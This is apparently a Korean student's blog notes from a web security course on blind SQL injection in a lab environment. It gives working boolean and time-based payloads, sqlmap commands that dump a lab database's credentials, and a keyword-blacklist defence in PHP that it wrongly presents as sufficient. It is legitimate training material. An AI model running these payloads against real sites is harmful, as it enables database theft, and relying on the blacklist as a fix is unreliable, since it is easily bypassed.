Web Security DAY_008 Blind Injection , 블라인드 인젝션 , ASCII 코드 , Time-base Blind Injection , 타임 블라인드 인젝션 , substring 이용해서 DB 해킹 , sqlmap , sql 맵 , 웹 해킹 , sql injection , SQL 삽입공격 , SQL 인..

2024. 1. 31. 16:35Information Security 정보보안/Web Security 웹 보안

728x90

배울내용:

Blind Injection

블라인드 인젝션

ASCII 코드 

Time-base Blind Injection

타임 블라인드 인젝션

substring 이용해서 DB 해킹

sqlmap 

sql 맵 

웹 해킹

sql injection 

SQL 삽입공격

SQL 인젝션 방어방법

kali로 웹해킹하기 

DB 해킹  

 

 

 

 

오늘은 


Blind Injection 과 아스키코드 에관한걸 배울것이다

 

 

 

 

 

 

먼저 VM 에서 mini 를킨뒤에 mini의 ip 주소를 입력해서 아래창을 킨다  

 

회원가입을 눌러서 새계정을 만들고 

 

 

이런식으로 적은뒤 회원가입 완료하면 

회원가입이 완료된다 

 

 

 

 

 

이렇게 떠야지 성공한거다

실패한거라면 join_proc.php 가 잘못되어있지않나 확인해보자

 

 

 

 

제대로 설정했으면 putty 로 mini 연결한뒤에

mysql -p mysql 에들어가서

use sevas 

select * from class; 

하면 기존에만든 sevas, admin 빼고 아까 추가해줬던 sarimus 가 있던걸 볼수있다 

 

 

 

그리고 이런식으로 select 쿼리를 쓰면

sarimus가 나온다 

 

 

 

 

 

그런데 여기에서  하나를 더쓰면  

 

이렇게 sarimus 의 hex 값이 나온다 

그럼 저 값을 어떻게나올까? 

 

 

 

 

아래에 ASCII 코드를 보자  ( 문자 인코딩 표준 중 하나 ) 

ASCII는 "American Standard Code for Information Interchange"의 약자로

이 코드는 7비트의 이진 숫자로 문자를 나타낸다 

 

기본적으로 ASCII 코드는 0부터 127까지의 숫자를 사용하여 각 숫자에 대응되는 문자를 정의한다

 

예를 들면, 숫자 65는 대문자 'A'를 나타내고  숫자 97은 소문자 'a'를 나타낸다 

 

이러한 방식으로 ASCII 코드는 영문 알파벳, 숫자, 특수 문자 등을 표현한다 

 

출처 : https://stepbystep1.tistory.com/10

 

 

s   a   r    i    m   u   s

73 61 72 69 6D 75 73

 

잘보면 소문자 s 는 73 인걸알수있다 

나머지또한 위에 ASCII 코드로 보고 찾을수있다 

 

 

 

 

 

 

 

자이제 substring 을 추가해보자 

 

 

 

select substring("sarimus" ,1 ) ;

로 햇을때 별다른 변화가 없다 

 

 

그런데 2를 넣을시에 

 

앞에 글자가 사라지는걸 볼수있다

 

이건 1 이 들어가면 1번째 자리에서부터 자르고, 2가들어가면

sarimus 의 2번째인 a 부터 잘라낸걸 보여준다 

 

 

 

 

 

그러면 범위도 설정가능하다 

 

select substring("sarimus", 3, 4 );

 

sarimus 에서 3 번째인 r 부터해서

4개 까지 보여준다

 

그러면 r  i m u 로 4개가되며

rimu 가 만들어지게 된다

 

 

select substring ( 글자,위치,길이)

select substring('sevas sivas',1);  첫번째 글자부터
select substring('sevas sivas',2);  두번째 글자부터
select substring('sevas sivas',2,2); 두번째글자부터 2글자
select substring('sevas sivas',2,3); 두번째글자부터 3글자

 

 

 

이렇듯이

select substring('sarimus',2,1);  두번째 글자에서 첫번째 'a'출력

 

그리고 여기에서 추가로 비교연산자를 넣으면 

 

 

select substring("sarimus",2 ,1 ) < 'q' ;

에서 1 이 나온다 

그이유는 'q' 는 ascii 에서 70 이고 sarimus에서 나온 'a' 는 61 이기떄문이다 

 

즉 61 < 70 이기떄문에 참이 되는것이다 

 

 

 

이걸이용해서 

 

 

 

select substring('sarimus',2,1) ='b';   0(거짓)
select substring(' sarimus ',2,1) ='a';    1(참)

 

이렇게 비교할수있다 

 

 

 

아스키코드 참고 할점
숫자는  0x30 에서부터 시작
문자는  0x41  대문자
           0x61  소문자   
 

 

 

 

 

 

지금까지 한걸 다 하면 이제 

블라인드 인젠셕 공격이 가능하다 

 

 

 

Blind Injection

 

그러면 putty에서 use sevas 한뒤에 

 

한개 한개 뽑아내면 sarimus의 sar 를 뽑아낸걸 볼수있다 (limit , substring 조정) 

 

 

물론  문자 말고도 10진수 , 16진수도 가능하다 

아래와 같이 쓰면 된다 

 

[문자]
select substring((select id from class limit 0,1),1,1);
[10진수]
select ascii(substring((select id from class limit 0,1),1,1));
[16진수]
select hex(ascii(substring((select id from class limit 0,1),1,1))); 

 

 

 

 

만약 찾는 ID 가 admin  인걸 찾으러면 이렇게 비교 연산자를 이용해서도

찾을수있다 

 


[첫번째문자]   =  a
select hex(ascii(substring((select id from class limit 0,1),1,1))) = '65';
select hex(ascii(substring((select id from class limit 0,1),1,1))) = '61';
[두번째문자]   =  d
select hex(ascii(substring((select id from class limit 0,1),2,1))) <= '64';  결과 1
select hex(ascii(substring((select id from class limit 0,1),2,1))) <= '63';    결과 0
[세번째문자]  =   m
select hex(ascii(substring((select id from class limit 0,1),3,1))) <= '6c';       0
select hex(ascii(substring((select id from class limit 0,1),3,1))) <= '6d';       1
select unhex('6d');
[네번째문자]
select hex(ascii(substring((select id from class limit 0,1),4,1))) <= '68';     0
select hex(ascii(substring((select id from class limit 0,1),4,1))) <= '69';      1
select unhex('69');

[다섯번째문자]
select hex(ascii(substring((select id from class limit 0,1),5,1))) <= '6d';   0
select hex(ascii(substring((select id from class limit 0,1),5,1))) <= '6e';   1
select unhex('69');

 

 


  16진수를 문자로 바꿀대는  unhex 를 쓴다. 

이런걸로 char 하나하나 찾음 뒤에 위에같이 정답 다 찾을수있다 

 

 

 

그리고 또한 이걸 홈페이지에서 blind injection 공격으로 아래처럼 쓰인다

 

[16진수] 
' or hex(ascii(substring(database(),1,1)))=73#

[10진수]
' or ascii(substring(database(),1,1))=115#
#은 주석(--)

 

 

이렇게 넣으면 

 

 

 

 

로그인이 되는걸 볼수있다 

 

 

 

 

 


Time-base Blind Injection 
참/거짓 응답 확인이 어려울때 확인하는 기법
직접 들어가지 않더라도 확인 할수있음 

 

 

 


' or hex(ascii(substring(database(),1,1))) =73 and sleep(3)#  지연
' or hex(ascii(substring(database(),1,1))) =74 and sleep(3)#  지연X 

지연되면 맞는것! 지연없이 넘어가면 틀린것! 

 

 

 

 

 

 

 

이번엔 Kali 에서 

 

sqlmap tool

 

을 써볼것이다 

 

 

 

 

 

 

sqlmap

 

아래의 것을 이용해서 실행하면 된다 

 


[db정보수집]
sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no"

 

 

 

DB 의 정보를 보여준다 

글자가 1개 1개씩 보여주는걸로봐서는 우리가 배웠던걸 자동으로 써서 하나하나 찾아준다고 보면된다

 

 

 


[db확인]
sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -dbs

[table확인]
sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas --tables

[column확인]
sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas -T  class --column

[값확인]
sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas -T  class --dump


그렇게 다 찾게 되면

 

이런식으로  admin 이라는 계정이 asd123 이라는 비밀번호를

sevas 라는 계정이 asd... 이라는 비밀번호를 알수있다 

 

 

 

<옵션> 


- [-u URL] : 공격을 수행할 페이지 주소 지정  ****
- [--cookie=COOKIE] : 쿠키 값 지정 
- [--data DATA] : POST 방식으로 데이터가 전달될 때, 해당 데이터를 지정
- [-p TESTPARAMETER] : 공격을 수행할 파라미터를 지정 ****
- [-v VERBOSE] : 명령어 수행을 얼마나 상세하게 출력할 것 인지를 지정 (0~6)
- [--passwords] : 사용자들의 패스워드 해시값을 출력
- [--tables] : 데이터베이스의 테이블들을 출력          *****
- [--columns] : 데이터베이스 테이블의 컬럼들을 출력 *****
- [--dump] : 데이터베이스 테이블 엔트리를 덤프       *****
- [--dbs] : 데이터베이스 리스트 출력                      *****
- [-D DB] : 특정 데이터베이스 지정                         *****
- [-T TBL] : 특정 테이블 지정                                *****
- [-C COL] : 특정 컬럼 지정                                   *****

 

 

 

 

 

그러면 이걸 어떻게 막을까?

 



SQL injection 방어하기 

vi /var/www/html/board_view.php 에서 

 

 

 

 



$b_no=$_GET['b_no'];
if(preg_match('/(union|select|from|where)/i', $b_no))
{
echo "No SQL- Injection!!! <br>";
echo "<a href=/board.php> 되돌아가기 </a>";
exit;
}

 

이렇게 추가하면된다

그러면 injection 공격했을때 안되는걸볼수있음






SQL injection 보안방법


1. 특수문자들은 공백으로 만들어서 사용하지 못하도록 코드수정
2. uinon, select 와 같은 SQL 구문을 검사하는 코드를 제작하여
검색시에 에러페이즈를 출력시키도록 한다. 

 

 

 

 

 

 

오늘도 하나의 취약점을 배웠고 방어하는걸 배운 좋은하루인것같다 

그럼 20000~ 

 

 

 

 

 

 

 

 

728x90